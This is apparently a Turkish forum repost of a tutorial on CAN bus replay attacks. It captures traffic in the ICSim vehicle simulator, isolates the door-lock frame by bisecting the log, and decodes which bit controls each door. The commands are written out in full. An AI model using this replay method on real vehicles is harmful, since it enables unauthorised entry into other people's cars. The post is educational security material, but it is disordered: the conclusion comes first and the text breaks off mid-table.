Bu makalenin başlarında belirtildiği gibi, araba korsanlığı hakkında daha fazla bilgi edinmek ve konuya daha derin bir dalış yapmak için harika bir kaynak, Craig Smith'in The Car Hacker's Handbook adlı kitabında ele alınmaktadır . Araba hackleme konusunda daha fazla gerçek dünya deneyimi edinmek istiyorsanız,Car Hacking Village ,topluluğuna da göz atmanızı tavsiye ederim. Diğer bazı değerli kaynaklar,CSS Electronics,Illmatics'tir.

Çözüm

Bu makalede, bir CAN veri yolunun ne olduğunu, araç iletişiminde nasıl rol oynadığını, bir simülasyon yürütmek için gerekli araçları kurmayı ve kilit açma veya kilitleme komutunu göndermek için sanal araçtaki her bir kapıyı kontrol etmeyi tanımlayabildik.

Araba korsanlığı biraz riskli olabilir, bu nedenle bu bilgiyi simüle edilmiş bir ortamda veya dikkatli bir şekilde kullanmanızı öneririz.Gerçek bir aracı hacklemeye karar verirseniz, lütfen her türlü olasılığı göz önünde bulundurduğunuzdan emin olun ve bunun riski size aittir.

NOT:Yapılan Hacklerden Ben Veya TurkHackTeam Ailesi Sorumlu Değildir.Konunun Bazı Kısımları Alıntıdır :)
iUBacd.gif
q6iq2ex.jpg
 
Son düzenleme:

darksideofwww

Katılımcı Üye
28 Tem 2022
913
514
dsowww
6t3q7nb.png

Selam millet! Pek çok kişinin bilmediği rastgele bir bilgisayar korsanlığı konusu hakkında başka bir blog gönderisi paylaşmaktan mutluluk duyuyorum: Araba Hacking! Bu maddenin geçerliliğine inanmakla birlikte, araçlardaki tek saldırı vektörü olmadığını baştan belirtmek isterim. Umarım bu, cihazların ve sistemlerin nasıl analiz edilebileceği ve bu denetimlerin bir saldırgan tarafından nasıl kullanılabileceği ve hatta kötüye kullanılabileceği konusunda bazı içgörüler elde etmek için yaratıcı bir şekilde düşünmenin başka bir yolu olarak hizmet eder.

Bilgisayar korsanlığının saldırı açısından geldiği genel nüansına rağmen, bilgisayar korsanlığı çabalarından elde edilebilecek faydalar vardır. Araçlar söz konusu olduğunda, bu, bir araçtaki belirli özelliklerin kilidinin açılması, daha önce var olan limitlerin kaldırılması veya olumlu sonuç verebilecek yeni teknolojinin yaratılmasına yardımcı olma şeklinde olabilir (bazı araba sigorta şirketlerinin sağladığı cihazlar gibi) bir müşteri 'iyi sürücü' indirimi alabilir). Bu fikirlerden burada bahsedilirken, o kadar derine inmeyeceğiz.

Ayrıca, bu makalede belirtilen kavramları denerseniz ve bunun olumsuz bir sonucu olursa, yazar veya Offensive Security'nin sorumlu tutulmayacağı söylenmelidir. Bir aracı hacklerken risk olabilir. Fiziksel bir aracı hacklemeye karar verirseniz, bunun riski size aittir. Neyse ki, bu makalede egzersiz fırsatları sağlamak ve uygulamalı deneyim kazanmak için sanal bir seçenek ele alınacaktır.

Bununla birlikte, bir CAN veri yolunun ne olduğunu açıklayarak başlayalım!

CAN veriyolu nedir?

CAN veri yolu (Denetleyici Alan Ağı veri yolu), bir aracın bileşenleri ile iletişim kurduğu merkezi bir ağdır. Bunu aracın elektrik sinyalleri ile çalışan birçok fonksiyonu olması açısından düşünebiliriz. Arabada kapı kilitleri, bir hız göstergesi, bir gaz göstergesi, frenler için kontroller, gaz pedalı için kontroller ve çok daha fazlası var. Bu cihazların çoğu, bu ağ üzerinden iletişim kurar.

OBD-II

OBD-II (Yerleşik teşhis 2) konnektörü, araç kodlarının kolayca teşhis edilmesini sağlayan araç üzerindeki bir bağlantı noktasıdır. Çoğu zaman araçlarımızı bir tamirciye getirdiğimizde aracın gönderdiği hata kodunu almak için bu porta bir bilgisayar cihazı takarlar. Bu, kontrol motoru ışığını açmış olabilecek sorunlar veya hatta bir göstergeyle sonuçlanmayan sorunlar için çok daha hızlı çözümler sağlar.

Bu bağlantı noktalarına erişim genellikle çok kolaydır. Normalde pedalların yanında ön panelin altında, direksiyon kolonunun arkasında ve hatta yolcu tarafında ön panelin altında bulunurlar. İşte OBD-II bağlantı noktasındaki bir fişin resmi:

pscogal.png

Bu porta fiziksel bir bağlantı sağlanması açısından CANtact gibi bir cihaz satın alınabilir hatta yapılabilir . Fiziksel cihazın kullanılması bu makalenin kapsamı dışında kalacaktır, ancak bu makalede ele alınan hack, ister fiziksel bir araçta ister sanal simülatörde yapılsın aynıdır. CAN veriyolunda iletişim kurmak için erişim noktası OBD-II bağlantı noktası olacaktır.

CAN Veri Yolu Ağı Temelleri

Yerel CAN veri yolu ağında, paketler bir hub gibi gönderilir ve alınır. Bir merkeze aşina olmayanlarınız için, veri paketleri tüm cihazlar tarafından görülebilir. Bu konudaki yabani otlara fazla girmek istemiyorum, ancak anahtarların veri paketlerinin bir hedeften diğerine paylaşımını kontrol ettiğini, oysa bir hub'ın paketleri o ağ cihazındaki herkese gönderdiğini bilin. Hub'lar gürültülüdür ve o ağa kulak misafiri olma özelliğinden dolayı güvensiz bir ağ cihazı olarak kabul edilir.

Bununla birlikte, bu makalenin esas olarak odaklanacağı kapı kilitlerini ele alalım. Kapımızdaki kilit düğmesine basarsak, CAN bus üzerinden ağdaki her cihaza bir elektrik sinyali gönderilir ve kapılar veri paketini yorumlar. Veri paketinde bir komut olacaktır: kilitle veya kilidini aç. Veri paketini alan kapılar, bu talimatı alacak ve veri paketindeki yönergeyi uygulayacaktır.

Araçta bulunan birçok cihaz bu şekilde çalışmakta, burada bir aksiyon tetiklenmekte, ağ üzerinden veri gönderilmekte ve veri paketinin tanımladığı ile ilgili cihaz harekete geçmektedir. Gaz pedalına basmak, ağda gaz akışının artmasını söyleyen veri paketlerinin gönderilmesine ve dolayısıyla arabanın daha hızlı gitmesine neden olur. Bu da, hız göstergesinin aracın gittiği uygun hızı yansıtması için yükselmesine neden olabilir. Hız göstergesinin yükselme miktarı, ağda gönderilen ve gaz pedalına ne kadar basıldığına bağlı olarak değişen talimatlara bağlı olacaktır.

Ağda gönderilen paketler iki bölümden oluşur: tanımlayıcı ve veriler. Tanımlayıcı, cihazın araçtaki temsilidir. Veri alanı, söz konusu cihazla tamamlanması gereken talimatı temsil eder. Aşağıdaki örneği ele alalım:

120 # F289632003200320

Paketin başlangıç bölümü tanımlayıcıdır. Bu durumda tanımlayıcı 120'dir. Paketin #'den sonra kalan kısmı veri alanıdır.

Örnek olarak bu tanımlayıcıyı ve veri segmentini kullanıyor olsak da, tanımlayıcının yıl, marka ve model olarak farklı araçlar arasında aynı olmayacağını bilmek önemlidir. 120'nin tanımlayıcısı, 2019 Honda Civic'teki gaz pedalı (gaz pedalı) olabilir, ancak 2022 Toyota Sienna'daki camlar olabilir. Bununla, tanımlayıcı etiketi olan bir aracın cihazlarını tanımlayabiliriz, ancak yalnızca aynı yıl/marka/modele sahip diğer araçlar, bu tanımlayıcı etiket değeriyle kontrol edilen aynı cihaza sahip olacaktır.

CAN veri yolu hakkında bilinmesi gereken son şey, paketlerin bu ağ üzerinden sürekli olarak gönderildiğidir, araçta herhangi bir güç olduğu sürece (yani motorun çalıştırılmasına gerek yoktur), ağ aktif olacaktır.

Hack nedir?

Bu durumda hack, CAN veri yolu ağına yapılan bir tekrar saldırısıdır. Ağda gönderilen paketleri dinleyebilir, bir eylemi manuel olarak tamamlayabilir (bizim durumumuzda kapıları kilitleme/kilit açma) ve aynı eylemin gerçekleşmesini sağlamak için paketleri ağa geri oynatabiliriz - kilitleme/kilit açma düğmelerine rağmen basılıyor.

Bu bilgisayar korsanlığı alıştırmasını tamamlamadan önce, dahili bir sanal simülatörde bunu yapmak için gerekli araçları nasıl kuracağımıza bir göz atalım.

Araçları Ayarlama

Aşağıdaki adımlar, VirtualBox üzerinde yeni bir Kali 2022.2 kurulumunda tamamlanmıştır. Bu makaleyi idare edilebilir bir uzunlukta tutmak için, bu VirtualBox veya Kali kurulumları ele alınmayacaktır. Kali-tweaks yardımcı programı, varsayılan iki satırlık çıktıyı tek bir satıra değiştirmek için de çalıştırıldı . Bu süreçte kuracağımız üç araç var:

  • ICSim (Enstrüman Kümesi Simülatörü)
  • Soketcand
  • Kayık
Öncelikle Kali makinemize önkoşul paketleri yükleyelim
Kod:
kali@kali:~$ sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

[sudo] password for kali:

…

Do you want to continue? [Y/n] Y
…
Çalışmak için bir “Car_Hacking” dizini oluşturalım ve o dizine girelim.
Kod:
kali@kali:~$ mkdir Documents/Car_Hacking
kali@kali:~/Documents/Car_Hacking$ cd Documents/Car_Hacking
Yeni oluşturulan dizinin içinde ICSim Git deposunu klonlayalım .
Kod:
kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/zombieCraig/ICSim.git
Cloning into 'ICSim'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 135 (delta 1), reused 3 (delta 1), pack-reused 130
Receiving objects: 100% (135/135), 1.09 MiB | 2.68 MiB/s, done.
Resolving deltas: 100% (68/68), done.
Mevcut çalışma dizinimize klonlanmış ICSim deposu ile ICSim dizinine girelim ve gerekli ikiliyi yapmak için kodu derleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd ICSim
kali@kali:~/Documents/Car_Hacking/ICSim$ sudo make
gcc -I/usr/include/SDL2   -c -o icsim.o icsim.c
gcc -I/usr/include/SDL2 -o icsim icsim.c lib.o -lSDL2 -lSDL2_image
gcc -I/usr/include/SDL2   -c -o controls.o controls.c
gcc -I/usr/include/SDL2 -o controls controls.c -lSDL2 -lSDL2_image
Car_Hacking dizinine geri dönelim ve socketcand deposunu da kopyalayalım .
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ cd ..

kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/linux-can/socketcand.git
Cloning into 'socketcand'...
remote: Enumerating objects: 923, done.
remote: Total 923 (delta 0), reused 0 (delta 0), pack-reused 923
Receiving objects: 100% (923/923), 273.95 KiB | 931.00 KiB/s, done.
Resolving deltas: 100% (547/547), done.
Yerine klonlanan socketcand deposu ile paketi yapılandıralım, derleyelim ve yükleyelim. Eksik bir dosya var, bu yüzden o dosyayı yerine kopyalayarak başlamamız gerekecek.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd socketcand
kali@kali:~/Documents/Car_Hacking/socketcand$ wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3773 (3.7K) [text/plain]
Saving to: ‘config.h.in’
config.h.in         100%[================>]   3.68K  --.-KB/s    in 0s  
2022-06-06 10:52:38 (80.8 MB/s) - ‘config.h.in’ saved [3773/3773]
Başlık dosyası yerindeyken paketi yapılandıralım, derleyelim ve yükleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ autoconf
configure.ac:6: warning: The macro `AC_CONFIG_HEADER' is obsolete.
configure.ac:6: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:6: the top level
kali@kali:~/Documents/Car_Hacking/socketcand$ ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
…
kali@kali:~/Documents/Car_Hacking/socketcand$ make clean              
rm -f socketcand socketcandcl *.o
kali@kali:~/Documents/Car_Hacking/socketcand$ make  
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcand ./socketcand.c ./statistics.c ./beacon.c ./state_bcm.c ./state_raw.c ./state_isotp.c ./state_control.c -lpthread
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcandcl ./socketcandcl.c
kali@kali:~/Documents/Car_Hacking/socketcand$ sudo make install                                                  
mkdir -p /usr/local/bin
cp ./socketcand /usr/local/bin/
cp ./socketcandcl /usr/local/bin/
mkdir -p /usr/local/share/man
cp ./socketcand.1 /usr/local/share/man/
mkdir -p /etc/
install -m 0644 ./etc/socketcand.conf /etc/
if [ yes = yes ]; then mkdir -p /etc/init.d; install --mode=755 ./init.d/socketcand /etc/init.d/socketcand; fi
if [ no = yes ]; then install --mode=755 ./rc.d/socketcand /etc/rc.d/socketcand; fi
Socketcand yüklendikten sonra, "Car_Hacking" dizinine geri dönelim ve Kayak Git deposunu klonlayalım
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ cd ..

kali@kali:~/Documents/Car_Hacking/$ git clone https://github.com/dschanoeh/Kayak.git
Cloning into 'Kayak'...
remote: Enumerating objects: 6298, done.
remote: Total 6298 (delta 0), reused 0 (delta 0), pack-reused 6298
Receiving objects: 100% (6298/6298), 2.90 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (1927/1927), done.
Artık Kayak dizinine geçebilir ve Maven ile paketi kurabiliriz.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd Kayak
kali@kali:~/Documents/Car_Hacking/Kayak$ mvn clean package
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
...

Hack'i Yürütme

Bu işlem için aynı anda birden fazla terminal sekmesi ile çalışmamız gerekecek. Bu işlevlerin her biri için ayrı bir sekmeye ihtiyacımız olacak:

  • Simülatörü çalıştır
  • Kontrolleri çalıştır
  • Veri paketlerini yakalayın ve yeniden oynatın
Simülatörü ilk sekmede başlatalım. Bunun ilk adımı vcan (sanal CAN) arayüzünü kurmaktır. ICSim dizinine geçelim ve kurulum betiğini çalıştıralım.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd ../ICSim

kali@kali:~/Documents/Car_Hacking/ICSim$ ./setup_vcan.sh
[sudo] password for kali:
Arayüz kurulumu ile yeni oluşturulan arayüz üzerinde sanal simülatörü başlatabiliriz. Bu, oluşturduğumuz ilk vcan arayüzü olduğu için vcan0 olacaktır.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./icsim vcan0  
Using CAN interface vcan0
Terminalde ikinci bir sekme açıp kontrollere başlayalım.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./controls vcan0
 Warning: No joysticks connected
Hangi sekmenin hangi işleve gittiğini takip etmek için terminal oturumu sekmelerini yeniden adlandırdım ve ICSim uygulaması açıkken ekran şimdi böyle görünüyor.
pcq7mtb.png

İstesek bilgisayara bir kumanda bağlayıp o kumandayı araç komutlarını değiştirmek için kullanabiliriz. Bu makale için, simülatörü manipüle etmek için klavye tuşlarını kullanacağız.
Bu, kontrollere ve bunların alet kümesi simülatörünü nasıl etkilediğine alışmak için iyi bir zaman olacaktır. CANBus Kontrol Paneli penceresi aktifken sanal aracımızı manipüle etmeye başlayabiliriz. Örneğin SOL ok tuşunu basılı tutarsak sola dönüş sinyalleri yanıp sönecektir. YUKARI oka basarsak , aracın hızlandığını simgeleyen hız göstergesi artacaktır. Yukarıdaki resimde tüm kapılar kilitli. Sağ SHIFT+A|B|X|Y tuşlarına basarsak , her seferinde bir kapının kilidi açılır. Sol SHIFT tuşu, kapı düğmelerinden herhangi birine basıldığında kapıları tekrar kilitleyecektir. Sol SHIFT'e ve ardından Sağ SHIFT'e basarsak, tüm kapıların kilidi açılır.

Bir kapının kilidi zaten açılmışsa, kapı zaten kilitsiz durumda olduğundan IC Simülatör penceresi bir değişiklik göstermeyecektir. Şimdilik, aracın tüm kapılarının kilidini açmaya ve kilitlemeye odaklanalım. Tüm kapılar kilitliyken başlayarak, tüm kapıların kilidini açmak için Sola SHIFT'e ve ardından Sağa SHIFT'e basacağız. Ardından, tekrar kilitlemek için Sağ SHIFT'e ve ardından Sol SHIFT'e basacağız . Aşağıdaki resimler, ekranın nasıl görünmesi gerektiğini göstermektedir.
mtc8dvz.png
https://www.offensive-security.com/wp-content/uploads/2022/08/DoorsUnlocked.png
9nm0s82.png

Şimdi, veri paketi yakalama ve yeniden oynatma ile çalışmak için başka bir sekme başlatalım. Dizin yapımızı dağınık hale getirmemek için, içinde çalışacağımız bir Demo dizini oluşturacağız.
Kod:
kali@kali:~/Documents/Car_Hacking$ mkdir Demo
kali@kali:~/Documents/Car_Hacking$ cd Demo
Artık Demo'da olduğumuza göre, loglama için -l seçeneği ile candump yardımcı programını vcan arabiriminde çalıştıralım .
Hiçbir şey yapmadan bunu 5 saniye çalıştıracağız ve dinleyiciyi durdurmak için CTRL-C tuşlarına basacağız.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_141619.log'
^C
 kali@kali:~/Documents/Car_Hacking/Demo$ ls
candump-2022-06-06_141619.log
Hiçbir şey yapmamamızın ve yalnızca dinleyiciyi başlatıp durdurmaya odaklanmamızın nedeni, bir CAN veri yolu ağının ne kadar gürültülü olabileceğini göstermektir. Bir satır sayımı için kelime sayma komutunu ( wc ) çalıştıralım ve dinleyicimizin açık olduğu 5 saniyede kaç paket gönderildiğini gözlemleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_141619.log
13757 candump-2022-06-06_141619.log
Dinleyicinin 5 saniyesi içinde ağa 13.757 paket gönderildi. Henüz kontrolörle herhangi bir komut bile göndermedik!

Daha fazla ilerlemeden önce, oyun planımızı ortaya koyalım. Bu hack için, kapıları manipüle etmekten hangi tanımlayıcının sorumlu olduğunu belirlemek istiyoruz. Mümkün olduğunca çabuk, şu adımları uygulayacağız:
  1. vcan0 arabiriminde oturum açarak candump'ı başlatın
  2. CANbus Kontrol Paneli penceresini aktif hale getirin
  3. Tüm kapıların kilidini aç
  4. tüm kapıları kilitle
  5. Candump terminal penceresinde tıklayın
  6. Ağ yakalamayı durdurmak için CTRL-C'ye basın
Amacımız, günlük dosyasını olabildiğince küçük tutmak için yukarıdaki adımları olabildiğince çabuk tamamlamaktır. Dosyaları karıştırmamak için başlamadan önce önceki günlüğü de sileceğiz.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ rm candump-2022-06-06_141619.log
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l                
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_142359.log'
^C
Yukarıda listelenen adımlar tamamlandı ve terminal çıktısı yukarıda gösterildi. Yeni oluşturduğumuz log dosyasında satır sayısını göstermek için wc komutunu çalıştıralım
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_142359.log
9293 candump-2022-06-06_142359.log
Artık ağda gönderilen 9.293 paket içeren yeni bir günlük dosyamız var.

Şimdi bu günlük dosyasını ağa geri oynatmak ve IC Simulator penceresini izlemek için canplayer yardımcı programını kullanalım. Her şey yolunda giderse, kapıların kilidinin açılıp tekrar kilitlendiğini göreceğiz. -I (büyük harf) seçeneği ile log dosyamızı belirtebiliriz .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I candump-2022-06-06_142359.log
Ne yazık ki, bir makale sonuçları paylaşmanın en kolay yolu değildir. Bu etkinliği yaparken, günlük dosyamızı yeniden oynatmak, sanal aracın kapılarının kilidinin açılmasına ve tekrar kilitlenmesine neden oldu.

Günlük tekrarının istek üzerine çoğaltmak istediğimiz eylemi gerçekleştirdiğini doğruladığımıza göre, kapı işlemlerinden hangi paketlerin sorumlu olduğunu bulma algoritmasına bakmamız gerekiyor. Aşağıdaki görüntü, Craig Smith tarafından yazılan “The Car Hacker's Handbook”un 77. sayfasından alınmıştır.
ddytwpx.png
Doğrulanmış günlük dosyası istediğimiz eylemi gerçekleştirirken, eylemin dosyanın neresinde gerçekleştiğine dair en iyi tahminde bulunabiliriz. Bu tahminle, dosyanın ilk yarısını veya son yarısını oynatmaya karar verebiliriz. Orijinal dosyayı ikiye böleceğiz ve canplayer yardımcı programı ile tekrar oynatacağız. Yeni dosyayı yeniden yürüttüğümüzde, IC Simulator penceresinde istenen eylemin gerçekleşip gerçekleşmediğini izleyeceğiz. Yeniden oynatılan dosya simülatörde etkiye neden oluyorsa, o dosyayı tekrar ikiye böleceğiz ve yarılardan birini yeniden oynatacağız. Simülatörde etkiye neden olmazsa, dosyanın diğer yarısını alabilir, tekrar oynatabilir ve eylemin dosyanın bu yarısında olduğunu doğrulayabiliriz.

Bu algoritmanın yeterince yinelenmesiyle, kapıların kilidini açmaktan sorumlu CAN paketini izole edebileceğiz. Ayrıca bu günlük dosyasını yarıya indirme sürecinde , dosyayı tekrar oynatmadan önce kapıları kilitlemek için CANbus Kontrol Paneli penceresindeki kontrolleri manuel olarak kullanmamız gerekecek bir noktaya geleceğiz . Unutmayın, kapılar zaten açık durumdaysa IC Simülatörü bir değişiklik göstermez.

-n seçeneğiyle head veya tail kullanabilir ve dosyanın yaklaşık yarısını yeniden oynatmak için alabiliriz. Her yinelemeyi açıklamadan, kapı kilidi açma CAN paketinin tanımlanmasına ulaşmak için komut çıktısını burada bulabilirsiniz:

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 4600 candump-2022-06-06_142359.log > split1
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split1
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l split1                    
4600 split1
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2300 split1 > split2
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split2
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 1100 split2 > split3
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split3
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 500 split3 > split4
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split4    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 50 split6 > split7
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split7    
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock  
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9    
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 5 split9 > split10
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split10  
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11    
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock                                                                          
kali@kali:~/Documents/Car_Hacking/Demo$ cat split10
(1654550641.303029) vcan0 17C#0000000010000030
(1654550641.303046) vcan0 18E#00007A
(1654550641.304018) vcan0 19B#000000000000
(1654550641.305246) vcan0 294#040B0002CF5A002C
(1654550641.305260) vcan0 21E#03E8374522062F
Ağ trafiği tekrarının son kısmı, 5 satırın son 2'sini ve ardından 5 satırın ilk 2'sini aldı. Her iki bölünmüş dosya çalışmadan, bu dosyanın ortasının kapıların açılmasını kontrol eden paket olduğunu anlayabiliriz. Yine de bunu sadece bir kesintiye bırakmayalım. Bu satırı, “doorsUnlock” adlı kendi dosyasına kopyalayalım ve davranışı gözlemlemek için o dosyayı yeniden oynatalım.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550641.304018) vcan0 19B#000000000000' > doorsUnlock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsUnlock
4hr7p7j.png

IC Simülatöründeki kapılar bu tek CAN paketi ile açıldı. Bu paketin içeriğini inceleyelim.https://www.offensive-security.com/wp-content/uploads/2022/07/04.png

(1654550641.304018) VCAN0 19B # 000000000000

Paketin ilk vurgulanan bölümü tanımlayıcıdır. Bu, kapıların onaltılık 19B kodunun bir cihaz işaretleyicisi ile tanımlandığı anlamına gelir . Paketin vurgulanan ikinci kısmı verilerdir. Bu durumda, verilerin tümü 0'lara ayarlanmıştır , bu nedenle bu, kapı talimatı gönderme ihtiyacımız için pek yardımcı olmaz.

İşlemimizin başında da kapıyı kilitlemiş olmamızın nedeni budur. Bilinen kapı tanımlayıcısı ile, paketin veri kısmında hangi varyasyonların var olduğunu görmek için bu tanımlayıcı için orijinal paket yakalamayı arayabiliriz. 19B için orijinal dosyada grep komutunu çalıştıralım .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ grep 19B candump-2022-06-06_142359.log (1654550641.304018) vcan0 19B #00000 0 000000  (1654550642.133853) vcan0 19B #00000 F 000000  (1654550642.366332) vcan0 244#000000019B
Tanımlayıcı aradığımız şeyle eşleşmediğinden, yukarıdaki çıktıda görüntülenen son satırı yok sayabiliriz. Kapı veri paketleri, üçüncü baytın ikinci yarımında değiştirilir. Data bölümünde F ile satırı alıp “doorsLock” adında yeni bir dosya oluşturalım. Daha sonra bunu tekrar oynatacağız ve bu paketin tüm kapıları kilitleyip kilitlemeyeceğini belirlemek için IC Simulator penceresini izleyeceğiz.

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#00000F000000' > doorsLock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsLock
3yua3m2.png
Kapılar artık tek bir veri paketi ile kilitlenmiştir.

Verileri Daha Fazla Analiz Etme

CAN veri yolu aracılığıyla tüm araba kapılarının kilidinin açılmasını ve kilitlenmesini başarıyla yakaladık ve yeniden oynattık. Verileri daha fazla analiz edebilir ve kapıları hep ya da hiçten daha ayrıntılı bir şekilde kontrol edip edemeyeceğimizi görebiliriz. İki CAN paketini tekrar gözden geçirelim:

(1654550641.304018) VCAN0 19B # 000000000000

(1654550642.133853) VCAN0 19B # 00000 F 000000

Daha önce belirttiğimiz gibi, veriler üçüncü baytın ikinci yarım baytında değiştirilir. Bu küçük parçayı ikili formatına ayırırsak, onu şu şekilde gösterebiliriz:
8​
4​
2​
1​
ALTIGEN
0​
0​
0​
0​
0​
1​
1​
1​
1​
F​
Tüm kapıların kilidini açan paket, o kemirmeyi 0 olarak temsil eder . Tüm kapıları kilitleyen paket yarım baytlığı onaltılık F olarak temsil eder . Bunu ikiliye bölmek, 16 olası kapı kombinasyonu verir. 16 varyasyonun hepsini test etmek yerine, hangi bitin hangi kapıyı kontrol ettiğini manuel olarak belirlemeye çalışalım. Bunu yapmak için aşağıdaki organizasyonla 4 dosya daha oluşturmayı düşünebiliriz:
8​
4​
2​
1​
ALTIGEN​
KAPI​
1​
0​
0​
0​
8​
?​
0​
1​
0​
0​
4​
?​
0​
0​
1​
0​
2​
?​
0​
0​
0​
1​
1​
?​
Artık hangi bitin hangi kapıyı kontrol ettiğini belirlemek için 4 ayrı dosya oluşturabilir ve tekrar oynatabiliriz. Yeni veri paketleri şöyle görünecek ve her biri kendi dosyasında olacak:

(1654550641.304018) VCAN0 19B # 00000 8 000000

(1654550642.133853) VCAN0 19B # 00000 4 000000

(1654550641.304018) VCAN0 19B # 00000 2 000000

(1654550642.133853) VCAN0 19B # 00000 1 000000

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000008000000' > doors8
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000004000000' > doors4
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000002000000' > doors2
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000001000000' > doors1
Bu gates # dosyalarının her birini yeniden oynatmak aşağıdaki bulgularla sonuçlanır:
8​
4​
2​
1​
ALTIGEN
KAPI​
1​
0​
0​
0​
8​
ARKA YOLCU​
0​
1​
0​
0​
4​
ARKA SÜRÜCÜLER​
0​
0​
1​
0​
2​
ÖN YOLCU​
0​
0​
0​
1​
1​
ÖN SÜRÜCÜLER​

q04pemf.png

Her kapının hareketini göz önüne alırsak, 1 kapıyı kilitlemek için ve 0 kapının kilidini açmak için harekettir. Hal böyle olunca kapılarımızı tanımladığımızda, tanımlanan kapıya kapıyı kilitleme talimatı verilirken, diğerlerine kilidi açma talimatı verildi. Artık araçtaki kapıları kilitlemek veya kilidini açmak için verilerde herhangi bir değişiklik yapabiliriz.

Bu makaleyi bitirmeden önce son bir örneğe bakalım. Aracın her iki arka kapısını da kilitlemek ve ön kapıların kilidini açmak istiyorsak, CAN paketindeki ikiliyi nasıl değiştirebiliriz?
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
